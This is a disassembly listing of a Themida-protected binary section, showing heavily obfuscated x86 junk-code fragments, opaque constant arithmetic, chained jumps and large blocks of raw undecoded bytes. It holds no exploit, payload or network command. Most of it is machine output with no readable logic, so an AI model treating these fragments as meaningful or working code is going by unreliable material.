		xor	cl, 0Ah
		add	cl, 7Fh
		sub	bl, cl
		pop	ecx
		push	ecx
		push	50F7h
		mov	[esp], ebx
		mov	bl, 27h
		jmp	loc_53F17B
; ---------------------------------------------------------------------------
		dd 894635BDh, 8BEF897Ah, 0C481242Ch, 4,	0FF93CBE9h, 243C33FFh
		dd 33243C31h, 815C243Ch, 4C3h, 0BA8BE900h, 48FFFFFh, 24248B24h
		dd 24043166h, 53FDE99Ch, 0CB81FFFFh, 18206B36h,	0E905EBC1h
		dd 0FFFF83E7h, 0DEF6BEB6h, 0CEFECEFEh, 0C004EEC0h, 0B45008EEh
		dd 8E4C056h, 158FE9h, 5FFD2900h, 505DEE29h, 0F7F71B8h
		dd 1C0835Bh, 0FFC18EE9h, 5DEE29FFh, 0FFF02958h,	9CE92434h
		dd 66FFFF9Ch, 3166D387h, 3366241Ch, 3166241Ch, 5866241Ch
		dd 24043166h, 24043366h, 24043166h, 0FF5392E9h,	80C781FFh
		dd 12B5677h, 80EF81D7h,	8B2B5677h, 5BE92414h, 55FFFFE6h
		dd 0FFF7DCE9h, 0E6C15CFFh, 0E9C63104h, 99Eh, 0BA525D54h
		dd 4, 835AD501h, 2C8704EDh, 0AE95C24h, 0C1FFFFEFh, 0C28307E2h
		dd 7004E901h, 0F789FFFFh, 13FBE9h
		db 0
; ---------------------------------------------------------------------------

loc_540021:				; CODE XREF: Themida_:0053FA09j
		pop	edx
		pop	ebp
		not	edx
		push	ebx
		mov	ebx, 8C2400EAh
		xor	edx, ebx
		jmp	loc_537B8F
; ---------------------------------------------------------------------------
		dw 0CF29h
		dd 43E8EF81h, 8759051Bh, 248B243Ch, 55CCE924h, 5659FFFFh
		dd 42474FFh, 24048F5Eh,	240C895Ch, 0B137B252h, 2CC180DFh
		dd 47C180h, 47B353D1h, 0E95BD928h, 0FFFF6E1Bh, 0E905E6C1h
		dd 0FFFFB9CDh
; ---------------------------------------------------------------------------

loc_540074:				; CODE XREF: Themida_:00538563j
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_53B293
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 50595424h, 0FFBDC8E9h, 240487FFh, 24048F5Ch,	8924248Bh
		dd 9C502414h, 0FFA13CE9h, 287B2CFFh, 307368F0h,	14890000h
		dd 80F2B224h, 0D00089F2h, 5124148Bh, 0E1E9E189h
		db 9Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5400BF:				; CODE XREF: Themida_:00536386j
		mov	[esp], edx
		mov	edx, 79D9266Ah
		push	edx
		push	ebx
		mov	ebx, 107B4B78h
		mov	edx, ebx
		pop	ebx
		add	[esp+8], edx
		pop	edx
		jmp	loc_53E5FE
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0E9h, 59054000h, 0F740C91Ah,	0A31EE9D8h, 2C8BFFFFh
		dd 0E1895124h, 4C181h, 0C1810000h, 4, 5C240C87h, 74E4B850h
		dd 0B951255Ch, 59160A20h, 0FFEE2CE9h, 0EAE958FFh
		db 90h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54011B:				; CODE XREF: Themida_:0053BFD1j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_5365AF
; ---------------------------------------------------------------------------

loc_540131:				; CODE XREF: Themida_:00537C36j
		push	6D6070C5h
		pop	esi
		shr	esi, 4
		shr	esi, 7
		neg	esi
		add	esi, 0DAC12h
		mov	eax, esi
		pop	esi
		jmp	loc_53F2E4
; ---------------------------------------------------------------------------

loc_54014D:				; CODE XREF: Themida_:005358EEj
		add	edx, 2D2737E9h
		add	edx, 6F9E6A02h
		sub	edx, 2C9581E4h
		jmp	loc_537D36
; ---------------------------------------------------------------------------
		dd 83768h, 241C8900h, 4BBh, 535E2D00h, 0D80122C9h, 0FFB0BBE9h
		dd 4C281FFh, 53000000h,	2BBh, 6937E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54018E:				; CODE XREF: Themida_:0053C794j
		push	ebx
		mov	ebx, 2040565Ch
		add	[esp+4], ebx
		push	dword ptr [esp]
		pop	ebx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		pop	eax
		sub	eax, 2040565Ch
		push	4FBCh
		mov	[esp], edx
		push	edi
		jmp	loc_539633
; ---------------------------------------------------------------------------
		db 0B9h
		dd 69454F8Fh, 0C159C889h, 0E8D107E0h, 4EE54535h, 58C2296Bh
		dd 0FFC623E9h, 0B0C781FFh, 1116B15h, 1316E9CFh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5401EA:				; CODE XREF: Themida_:00536FA1j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		or	ebx, ebx
		jnz	loc_53E174
		push	7BA0h
		mov	[esp], eax
		jmp	loc_53D219
; ---------------------------------------------------------------------------
		db 58h,	52h, 0E9h
		dd 0FFFFA57Bh
; ---------------------------------------------------------------------------

loc_540210:				; CODE XREF: Themida_:005373F2j
		sub	edi, 77205281h
		jmp	loc_53D047
; ---------------------------------------------------------------------------

loc_54021B:				; CODE XREF: Themida_:0053AFD5j
		add	ecx, ebp
		pop	ebp
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		shr	ecx, 7
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		push	edi
		push	esi
		mov	esi, 35682669h
		mov	edi, esi
		pop	esi
		xor	edi, 14D47670h
		push	ecx
		mov	ecx, 7DC4136Bh
		add	edi, ecx
		jmp	loc_53AEF4
; ---------------------------------------------------------------------------
		db 51h
		dd 0C1815954h, 4, 8704E983h, 895C240Ch,	8C68241Ch, 89000023h
		dd 87BD242Ch, 3117033Ch, 5D04246Ch, 582434FFh, 5BD568h
		dd 475E900h, 0D0E90000h, 68FFFF50h, 64B2h, 68240C89h, 63B60D9h
		dd 0F1814959h, 63B60DAh, 43E8C781h, 7FE9051Bh
		db 0FDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5402B3:				; CODE XREF: Themida_:0053C6EFj
		add	dword ptr [esp], 4
		jmp	loc_53C2AE
; ---------------------------------------------------------------------------
byte_5402BF	db 66h			; DATA XREF: Themida_:00535300o
		dd 68240C8Bh, 1706h, 0FF6BDCE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5402CD:				; CODE XREF: Themida_:0053EF84j
		add	esp, 4
		xor	ebp, edx
		pop	edx
		and	eax, ebp
		push	dword ptr [esp]
		jmp	loc_53F080
; ---------------------------------------------------------------------------

loc_5402E0:				; CODE XREF: Themida_:00535EA9j
		push	ebx
		mov	ebx, 3F30537Eh
		jmp	loc_536FF8
; ---------------------------------------------------------------------------
		db 5Ch
		dd 5224048Fh, 0FF68E9E9h, 0E9C801FFh, 0FFFF980Ch, 0E9243C87h
		dd 60h,	6974C281h, 0EA810D52h, 1B8C0AE4h, 12EFB951h, 0CA013E9Bh
		dd 83DA2959h, 348904ECh, 1D72BE24h, 46465B4Dh, 6A99E94Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54032E:				; CODE XREF: Themida_:0053EF7Cj
		xor	ecx, [esp]
		jmp	loc_536114
; ---------------------------------------------------------------------------
		dw 0E089h
		dd 69C0E951h, 0E789FFFFh, 4C781h, 0EF810000h, 4, 0E9243C87h
		dd 0FFFF6AB0h, 5BDBE953h
		db 2 dup(0FFh)
word_54035A	dw 34FFh		; DATA XREF: Themida_:005350B4o
		dd 0E9505924h, 0FFFF5D8Ah, 0B513E95Ch
		db 2 dup(0FFh)
word_54036A	dw 0E9ACh		; DATA XREF: Themida_:00535090o
		dd 0FFFF94C4h
dword_540370	dd 66D830ACh, 66285768h, 0E9240C89h, 0FFFF53CAh, 81DBF743h
					; DATA XREF: Themida_:00535188o
		dd 5267D5C3h, 92C3810Ah, 89553A11h, 241C8BDEh, 142AE9h
		dd 58C68900h, 8101C683h, 0E05ECDE6h, 61F68100h,	29706910h
		dd 67C0E9F3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5403B2:				; CODE XREF: Themida_:0053BF96j
		push	71C1h
		mov	[esp], eax
		push	ebx
		mov	ebx, 80h
		mov	eax, ebx
		mov	ebx, [esp]
		jmp	loc_53578B
; ---------------------------------------------------------------------------

loc_5403CA:				; CODE XREF: Themida_:0053591Ej
		xor	edx, edi
		pop	edi
		or	edx, 36C1567Ch
		xor	edx, 0DB3329Dh
		push	ebp
		jmp	loc_53A0A8
; ---------------------------------------------------------------------------
byte_5403DF	db 8Bh			; DATA XREF: Themida_:005350ECo
		dd 0DCE92404h, 1000008h, 21C781D7h, 8B284E70h, 0C4812414h
		dd 4, 2C781h, 28680000h, 8900002Dh, 74FF243Ch, 2CE90424h
		dd 5100000Ah, 2B9h, 8BCE0100h, 0C483240Ch, 24343304h, 33243431h
		dd 248B2434h, 0BFE3E924h
		db 2 dup(0FFh)
word_54042E	dw 8766h		; DATA XREF: Themida_:005352ECo
		dd 68572404h, 171h, 83242489h, 5F042404h, 4326B850h, 0E8D136AFh
		dd 57A19735h, 58C7011Bh, 0FF4FF6E9h, 241489FFh,	617A68h
		dd 0D045E900h, 55B9FFFFh, 133B679h, 0D98959CBh,	0FFDB54E9h
		dd 241487FFh, 243C895Ch, 6543E954h, 8159FFFFh, 4ECh, 243C8900h
		dd 42474FFh, 81243C8Bh,	4C4h, 24048F00h, 48B665Ch, 0C3C3E924h
		dd 0EB86FFFFh, 32241C30h, 1C30241Ch, 0EE24E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5404B2:				; CODE XREF: Themida_:0053608Cj
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	esi
		mov	esi, 4
		and	ecx, esi
		jmp	loc_536CCA
; ---------------------------------------------------------------------------
		dw 0D8BAh
		dd 0E97F9679h, 0FFFF7ADEh
; ---------------------------------------------------------------------------

loc_5404D4:				; CODE XREF: Themida_:0053BE50j
		pop	edx
		mov	ecx, [esp]
		add	esp, 4
		push	edx
		push	eax
		jmp	loc_53FD9B
; ---------------------------------------------------------------------------
word_5404E2	dw 34FFh		; DATA XREF: Themida_:00535220o
		dd 0AE2DE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5404EA:				; CODE XREF: Themida_:00538F09j
		add	ebx, 744323AEh
		and	ebx, 1E070F3Ah
		dec	ebx
		not	ebx
		sub	ebx, 0EFF8F0EAh
		add	edi, ebx
		pop	ebx
		push	689Ah
		mov	[esp], ebx
		mov	ebx, 9245864h
		shr	ebx, 8
		xor	ebx, 4A96671Bh
		shl	ebx, 8
		sub	ebx, 9F4342FEh
		jmp	loc_53E2B4
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 6AD70239h, 0F2EA815Dh, 8364FD48h, 2C8904ECh,	9396BD24h
		dd 0EA817EB1h, 3BD708C3h, 0C281EA01h, 3BD708C3h, 0FF6D1BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_540551:				; CODE XREF: Themida_:0053FA25j
		push	edi
		jmp	loc_5353BB
; ---------------------------------------------------------------------------
		db 1
		dd 0B9515EF0h, 2, 0B471BC05h, 0FD8BE955h, 0FE01FFFFh, 0EFFFE95Fh
		dd 0EC81FFFFh, 4, 0C441E954h, 0E958FFFFh, 1185h, 3153E681h
		dd 89E91824h, 54FFFF8Fh, 4C18159h, 57000000h, 8904EC83h
		dd 2ABA2414h, 0E9728671h, 0FFFF7A6Eh, 80C9C780h, 0B151D2EFh
		dd 5C1CE9F5h
		db 2 dup(0FFh)
word_5405B6	dw 31ADh		; DATA XREF: Themida_:00535268o
		dd 0C6BE56D8h, 0E92AAE01h, 0FFFFD5BAh, 0C106E2C1h, 0F28106E2h
		dd 6392FE7Fh, 0FFB74CE9h, 0F28159FFh, 74643C3Fh, 34FFD189h
		dd 8869E924h, 0EBC1FFFFh, 0A03EE902h, 0CE30FFFFh, 7E6C059h
		dd 0FFCE11E9h, 81E789FFh, 4C7h,	4EF8300h, 0E9243C87h, 0FFFFA0C0h
		dd 0EC83525Ah, 241C8904h, 0C78061B7h, 8EFC0A0h,	0CFFEC7FEh
		dd 8014C780h, 0FB68F3EFh, 89000044h, 1EE92404h
		db 98h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_540633:				; CODE XREF: Themida_:0053AF04j
		pop	edi
		push	edx
		mov	edx, 4
		add	ecx, edx
		pop	edx
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		add	esp, 4
		jmp	loc_535642
; ---------------------------------------------------------------------------
		db 0F7h, 0DBh, 0E9h
		dd 0FFFFDC09h, 237CBF57h, 0FE2923F9h, 0FFBC29E9h, 199B68FFh
		dd 1C890000h, 55E38924h, 257B68h, 240C8900h, 4B9h, 0A3C0E900h
		dd 148BFFFFh, 4C48124h,	81000000h, 0E0EFCCF5h, 0E9E8291Eh
		dd 0FFFFB51Eh
; ---------------------------------------------------------------------------

loc_540698:				; CODE XREF: Themida_:00535656j
		shl	eax, 7
		jmp	loc_537BB7
; ---------------------------------------------------------------------------

loc_5406A0:				; CODE XREF: Themida_:0053C4F2j
		push	esi
		jmp	loc_53F3D7
; ---------------------------------------------------------------------------
		dw 0C680h
		dd 8AE9531Dh, 57FFFF89h, 0CA5014BFh, 0A2C7811Eh, 0E948C8E1h
		dd 0FFFFB0D2h, 875EF501h, 0FE9242Ch, 0BDFFFF5Dh, 2, 0E95DE801h
		dd 0FFFFD5ABh
; ---------------------------------------------------------------------------

loc_5406D8:				; CODE XREF: Themida_:0053CC15j
		mov	ebp, 44DD536Eh
		shr	ebp, 7
		inc	ebp
		push	edi
		mov	edi, 3C0772ADh
		xor	edi, 661E47CBh
		jmp	loc_53E0FA
; ---------------------------------------------------------------------------

loc_5406F2:				; CODE XREF: Themida_:0053E4E5j
		dec	esi
		jmp	loc_53CF7F
; ---------------------------------------------------------------------------
		dd 925D34BFh, 0FFE94F2Bh, 89FFFFD8h, 0E0892404h, 405h
		dd 4BD5500h, 1000000h, 0FF505DE8h, 0E9042474h, 0FFFFB5C5h
		dd 2424895Ch, 4240483h,	0CCEE95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54072E:				; CODE XREF: Themida_:0053C04Bj
		xor	ebp, edx
		sub	ebp, 80E03FEh
		mov	edx, ebp
		mov	ebp, [esp]
		push	76BEh
		jmp	loc_53DC73
; ---------------------------------------------------------------------------
		db 0BEh, 2Dh, 5Ch
		dd 4C051241h, 122831Ah,	1A4C2DF0h, 348B2283h, 910AE924h
		dd 0C381FFFFh, 22425536h, 53892D5Ah, 0D8296FCDh, 0CD538905h
		dd 0EC815B6Fh, 4, 0B9240C89h, 258153D3h, 2463BF57h, 95E9567Eh
		dd 81FFFF86h, 0BF8EB0C1h, 244F89A2h, 0E92434FFh, 0FFFF96EFh
; ---------------------------------------------------------------------------

loc_54079C:				; CODE XREF: Themida_:0053CD39j
		shl	bl, 3
		sub	bl, 17h
		add	al, bl
		pop	ebx
		mov	ebx, [esp]
		add	esp, 4
		add	al, 0D7h
		add	al, bl
		sub	al, 0D7h
		push	edx
		jmp	loc_53F780
; ---------------------------------------------------------------------------
		db 0BAh
		dd 2BB157BAh, 6850EA81h, 0F2814FE0h, 558238F2h,	24348752h
		dd 24348746h, 6EAC15Ah,	0FCE9DAF7h, 55FFFFB3h, 0AB6046BDh
		dd 0E5F58138h, 0E960156Fh, 0FFFFC82Eh, 4C4815Eh, 1000000h
		dd 5F04247Ch, 592434FFh, 4C481h, 0E9810000h, 7E436B5Fh
		dd 0FFE898E9h, 4EC81FFh, 0E9000000h, 0FFFF5536h, 5DE7EF81h
		dd 0E7C13BD3h, 2EFC107h, 0D0EF8147h, 81C011C1h,	5A1C29CFh
		dd 9FBD5501h, 8177E636h, 0EF5119E5h, 0AEF58143h, 29179A46h
		dd 0C7815DEFh, 751D22F1h, 0F2671305h, 0C12D7Ch,	0F8293254h
		dd 0FFDFDCE9h
		db 0FFh
byte_54085D	db 0FFh, 34h, 24h	; DATA XREF: Themida_:005352E0o
		dd 4EC8358h, 54241C89h,	9FB8505Bh, 0E9058844h, 0FFFFD5C6h
		dd 4245401h, 24148B5Ah,	4C481h,	0EC830000h, 24348904h
		dd 0FF735CE9h, 0FCB450FFh, 0F480C4FEh, 80D4F613h, 0E58866F4h
		dd 0B992E958h, 0E943FFFFh, 0FFFF7731h
; ---------------------------------------------------------------------------

loc_5408A8:				; CODE XREF: Themida_:0053AEEFj
		mov	esi, 0D550EAAh
		or	edx, esi
		pop	esi
		push	eax
		mov	eax, 0E2AEF156h
		add	edx, eax
		pop	eax
		and	eax, edx
		pop	edx
		shr	eax, 12h
		xor	eax, ecx
		xor	eax, ebp
		jmp	loc_53CBFA
; ---------------------------------------------------------------------------
		dd 0EF81DF29h, 0BF54B55h, 243C875Bh, 0E924248Bh, 0FFFF6352h
dword_5408DC	dd 240C8B66h, 0FF56E0E9h, 81DF01FFh, 4D54F1EFh,	0A016E943h
					; DATA XREF: Themida_:005350C0o
		dd 148BFFFFh, 4C48324h,	0BAE9D7F7h, 29FFFFD8h, 8F1CE9F2h
		dd 5B66FFFFh, 6859C800h, 3D53h,	0B5240C89h, 0C19DE919h
		db 2 dup(0FFh)
word_54091A	dw 8B66h		; DATA XREF: Themida_:00535180o
		dd 50682404h, 89000061h, 8B54242Ch, 0C483242Ch,	64E95004h
		dd 5DFFFFC0h, 0BA52h, 0F2290000h, 7DE9D687h, 8BFFFFEDh
		dd 7E9241Ch, 81FFFF5Fh,	4C4h, 24143100h, 0E9241433h, 0FFFFEB4Ah
		dd 241C8966h, 27DE68h, 576CE900h, 3D68FFFFh, 89000068h
		dd 50BB241Ch, 310B6274h, 0E9515BDFh, 0FFFF9BA3h, 9560E95Bh
		dd 0E5C1FFFFh, 78ED8107h, 89D6AE15h, 0DC54E9E9h, 0F031FFFFh
		dd 0F750C631h, 96582414h, 8102E6C1h, 9B7BC1F6h,	0BAC6810Dh
		dd 56C92B9h, 8CF21ACh, 0AC2DF001h, 8B08CF21h, 89572434h
		dd 4C781E7h, 81000000h,	4C7h, 74FF5700h, 6E90424h
		db 71h,	2 dup(0FFh)
byte_5409D7	db 8Bh			; DATA XREF: Themida_:005351F0o
		dd 89572404h, 4EC81E7h,	89000000h, 0AA68240Ch, 597C990Dh
		dd 344DC981h, 0F9E9023Eh, 81FFFFECh, 331F99E3h,	0C38112h
		dd 102AA50h, 0F5015BDEh, 49E9525Eh, 68FFFF89h, 66DCh, 0E9240C89h
		dd 0FFFF4947h, 8704C483h, 248B2404h, 24043124h,	0F860E99Ch
		dd 0FE5BFFFFh, 50CDFEC5h, 0FF560CE9h, 0C5BD66FFh, 0EE896601h
		dd 0B8E9515Dh, 5000008h, 271C2113h, 0FF9619E9h,	0CEC281FFh
		dd 0E9619114h, 0FFFFE2AEh, 0FF240489h, 8B042474h, 0C4812404h
		dd 4, 5C24048Fh, 81241C89h, 4ECh, 243C8900h, 0B8505650h
		dd 9AA474Dh, 0FFC3DFE9h, 4EE95FFFh
		db 6Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_540A8F:				; CODE XREF: Themida_:00540CFAj
		pop	dword ptr [esp]
		jmp	loc_53E486
; ---------------------------------------------------------------------------

loc_540A97:				; CODE XREF: Themida_:0053823Cj
		pop	esp
		push	1A55h
		mov	[esp], eax
		push	43172DCFh
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_53EC93
; ---------------------------------------------------------------------------
		dd 0FF48AEE9h, 0E9D030FFh, 0FFFFBF1Eh, 2C5BFA88h, 4D000F2h
		dd 98E5E9F2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_540ACA:				; CODE XREF: Themida_:00538846j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	ecx
		jmp	loc_53EAA5
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4812404h, 4, 5704C783h, 42474FFh, 24048F5Fh, 0FF24248Bh
		dd 34FF2434h, 24048B24h, 5204C483h, 0C281E289h,	4, 0FF71F0E9h
		dd 243C89FFh, 0FFB3F6E9h
		db 0FFh
byte_540B11	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:005352A0o
		dd 0D259669Dh, 0E99C241Ch, 0FFFF4843h
; ---------------------------------------------------------------------------

loc_540B20:				; CODE XREF: Themida_:0053B928j
		xor	edi, [esp]
		jmp	loc_536358
; ---------------------------------------------------------------------------
		dd 0E9240C87h, 0FFFF4912h
dword_540B30	dd 0E932FF66h, 0FFFF5DC1h, 0B8505197h, 7182E83h, 2D04E0C1h
					; DATA XREF: Themida_:00535100o
		dd 5EA81900h, 0F805D8F7h, 8988F626h, 0C82958C1h, 8A803559h
		dd 0C709AA92h, 6EFC158h, 2598F781h, 0F801035Fh,	2C0835Fh
		dd 31240433h, 4332404h,	81FEE924h, 1489FFFFh, 0E1895124h
		dd 4C181h, 0E9810000h, 4, 5C240C87h, 0FF5A9EE9h, 8DE954FFh
		dd 57FFFFBEh, 1A5806BFh, 5FFE314Bh, 0FF56C9E9h,	5AF000FFh
		dd 0FFDEC4E9h, 0E9E089FFh, 155h
; ---------------------------------------------------------------------------

loc_540BB8:				; CODE XREF: Themida_:0053BAD0j
		sub	esi, edi
		pop	edi
		mov	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		mov	ebp, ebx
		pop	ebx
		push	ebx
		jmp	loc_53DB1E
; ---------------------------------------------------------------------------

loc_540BCC:				; CODE XREF: Themida_:00539F2Ej
		push	dword ptr [esp]
		jmp	loc_53686F
; ---------------------------------------------------------------------------

loc_540BD4:				; CODE XREF: Themida_:0053ECA4j
		push	ebx
		push	3ADE5BD9h
		pop	ebx
		and	ebx, 7F4777E6h
		sub	ebx, 28920FCFh
		xor	ebx, 52A3663Fh
		mov	edx, ebx
		pop	ebx
		sub	eax, edx
		pop	edx
		and	ecx, eax
		push	dword ptr [esp]
		jmp	loc_53E10B
; ---------------------------------------------------------------------------
		db 31h,	1Ch, 24h
		dd 0E9241C33h, 0FFFFD415h, 8F240489h, 0A6E94047h
		db 0CEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_540C13:				; CODE XREF: Themida_:00536A42j
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_53CDAC
; ---------------------------------------------------------------------------
		db 89h,	0E7h, 51h
		dd 4B9h, 0B1EF8100h, 144EB6Bh, 0CF04E9CFh, 305CFFFFh, 6DB3E9EBh
		dd 62BEFFFFh, 0F76C3220h, 0EDBD55D6h, 81678B16h, 4ECh
		dd 24048900h, 8231D0B8h, 1AC13525h, 0BE0D1ECBh,	354EEA7Ch
		dd 0C687121h, 43399605h, 5E0C12Bh, 40F98705h, 8BC52169h
		dd 0C4812404h, 4, 13AE94Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_540C86:				; CODE XREF: Themida_:00538222j
		add	esp, 4
		mov	edx, esi
		mov	esi, [esp]
		add	esp, 4
		and	eax, edx
		mov	edx, [esp]
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		jmp	loc_541224
; ---------------------------------------------------------------------------
aHA		db '^h³A',0
		dw 8900h
		dd 0B0E92404h
		db 46h,	2 dup(0FFh)
byte_540CB3	db 66h			; DATA XREF: Themida_:005350BCo
		dd 8324048Bh, 48904ECh,	0B5E95424h, 52FFFF4Ah, 0FF7CE0E9h
		dd 5EBC1FFh, 1066E381h,	3EE971FCh, 81FFFF9Ah, 2A0AF6F3h
		dd 6FF3812Ch, 89DF4FFCh, 0F7015BDEh, 0FFD46DE9h, 24048BFFh
		dd 0FFB40DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_540CF5:				; CODE XREF: Themida_:0053EBC9j
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_540A8F
; ---------------------------------------------------------------------------
		db 29h
		dd 0D9C781F7h, 573C5940h, 0FF770DE9h, 405FFh, 4050000h
		dd 87000000h, 535C2404h, 4BBh, 8BD80100h, 0C481241Ch, 4
		dd 31240433h, 4332404h,	24D35C24h, 4625E924h, 0C781FFFFh
		dd 4, 3304C783h, 3C31243Ch, 243C3324h, 0FFD9E9E9h, 8E8C0FFh
		dd 0C5008204h, 59E82858h, 0C6047634h, 0E999C580h, 0FFFFAE72h
		dd 4EAAED81h, 3EE96821h
		db 52h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_540D77:				; CODE XREF: Themida_:0053C40Cj
		and	ebp, 6A717F1Ch
		neg	ebp
		shl	ebp, 2
		push	edx
		jmp	loc_53F0D1
; ---------------------------------------------------------------------------
		dd 0F24248Bh, 9C51C8AFh, 0FF45CEE9h, 8092B6FFh,	0E95092C6h
		dd 0FFFFD1A4h, 27ABE56h, 0F4E92419h
		db 99h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_540DAB:				; CODE XREF: Themida_:0053FD45j
		mov	[esp], esp
		jmp	loc_539278
; ---------------------------------------------------------------------------

loc_540DB3:				; CODE XREF: Themida_:0053EBEDj
		dec	eax
		xor	eax, 19BB70BFh
		sub	esi, eax
		jmp	loc_536F2D
; ---------------------------------------------------------------------------
		dd 0ED81DDF7h, 7C693E58h, 0FF9EE94Dh, 0F789FFFFh, 5AC7815Eh
		dd 29FE7734h, 1FE95FF8h, 89FFFF8Eh, 8152240Ch, 4ECh, 240C8900h
		dd 587B6068h, 0C1815965h, 0F5A8C261h, 8159CA89h, 0E4241BC2h
		dd 5DC2815Ah, 810F8076h, 4E2ECEEAh, 24E9425Bh, 4BFFFFD4h
		dd 23C3E381h, 0C14B02B9h, 0F38104E3h, 356D4203h, 15BDE01h
		dd 8068E9EEh, 0B951FFFFh, 4, 0FE9CB01h,	5FFFFFD0h, 0FF71C6E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_540E41:				; CODE XREF: Themida_:00537019j
		pop	ecx
		shl	esi, 4
		add	esi, 0FFFFFFFFh
		jmp	loc_5414AB
; ---------------------------------------------------------------------------
		dd 104C483h, 0C3315EF0h, 0FFA64CE9h, 0E78957FFh, 4C781h
		dd 0C7810000h, 4, 5C243C87h, 60AC68h, 24048900h, 0BA52E089h
		dd 630816A3h, 4304CA81h, 0F2E9776Ah, 89FFFFDAh,	0A0682404h
		dd 83000003h, 248904ECh, 24048324h, 24048F04h, 4240481h
		dd 8B000000h, 0C4812404h, 4, 3E9BBA52h,	0C2810280h, 15FD6ED2h
		dd 0FFEEFEE9h, 449DE9FFh, 75BFFFFFh, 0C129A319h, 0DFF706EFh
		dd 8101EF83h, 6A0A5DF7h, 5C75E9AFh
		db 2 dup(0FFh)
word_540EDE	dw 0F766h		; DATA XREF: Themida_:00535174o
		dd 0E99C241Ch, 0FFFF447Bh, 0E9241C8Bh, 0FFFF6572h, 4C481h
		dd 4010000h, 78E99C24h
		db 46h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_540EFF:				; CODE XREF: Themida_:00541095j
		add	edx, 4
		jmp	loc_537C8F
; ---------------------------------------------------------------------------
		db 33h
		dd 58E92434h, 83FFFFC0h, 1C8704C3h, 0EC835C24h,	241C8904h
		dd 15B6BF57h, 7C312693h, 43E90424h, 50FFFF7Bh, 387A0EB8h
		dd 3CE95559h, 5EFFFFC1h, 8B241C87h, 51522424h, 0B142B353h
		dd 5BD92824h, 0E999E180h, 0FFFFD440h, 0D5F7DDF7h, 589EC581h
		dd 0E5810E48h, 504F47D5h, 6326F581h, 7AE921A8h,	80FFFFB6h
		dd 0E830F3F5h, 51240C8Bh, 0C181E189h, 4, 4C181h, 0C870000h
		dd 13685C24h, 89000060h, 0E5E9241Ch, 89FFFF94h,	0BF57241Ch
		dd 4F9A15A3h, 0A0FFE957h, 0E789FFFFh, 4C781h, 0C7810000h
		dd 4, 5C243C87h, 0FF43AAE9h, 302D05FFh,	0E95352D4h, 0FFFFE8DBh
		dd 37346852h, 0E95A3BD3h, 0FFFF92B8h, 4C281h, 14870000h
		dd 0E8E95C24h, 68FFFF9Eh, 6B736B6Bh, 0FF47D5E9h, 4C481FFh
		dd 0E9000000h, 0FFFF436Fh, 8B5AD001h, 0C4832414h, 0BF04E904h
		db 2 dup(0FFh)
word_541002	dw 52ACh		; DATA XREF: Themida_:00535194o
		dd 0E97DB450h, 0FFFFB604h
; ---------------------------------------------------------------------------

loc_54100C:				; CODE XREF: Themida_:0053A69Cj
		add	edi, edx
		pop	edx
		xchg	edi, [esp]
		pop	esp
		or	eax, eax
		jnz	loc_53AB2A
		push	3D50h
		mov	[esp], esi
		push	ebp
		jmp	loc_536D92
; ---------------------------------------------------------------------------
		db 29h,	0EBh, 5Dh
		dd 8B1C5F09h, 5F68241Ch, 0E900007Eh, 0FFFF99F6h, 8B2434FFh
		dd 0C483242Ch, 4C48304h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		sub	ebp, 4
		jmp	loc_537556
; ---------------------------------------------------------------------------
		db 0B8h
		dd 43F05FFCh, 4EBC68h, 240C8900h, 4523D5B9h, 8BC80942h
		dd 0C483240Ch, 162D4804h, 0E9D66533h, 633h, 8904EC83h
		dd 6EE9241Ch
		db 0B3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54108F:				; CODE XREF: Themida_:0053652Ej
		add	edx, 4
		jmp	loc_540EFF
; ---------------------------------------------------------------------------
		dw 5553h
		dd 0F81D6CBDh, 9DFCE955h, 0BB53FFFFh, 4, 1C8BD901h, 4C48324h
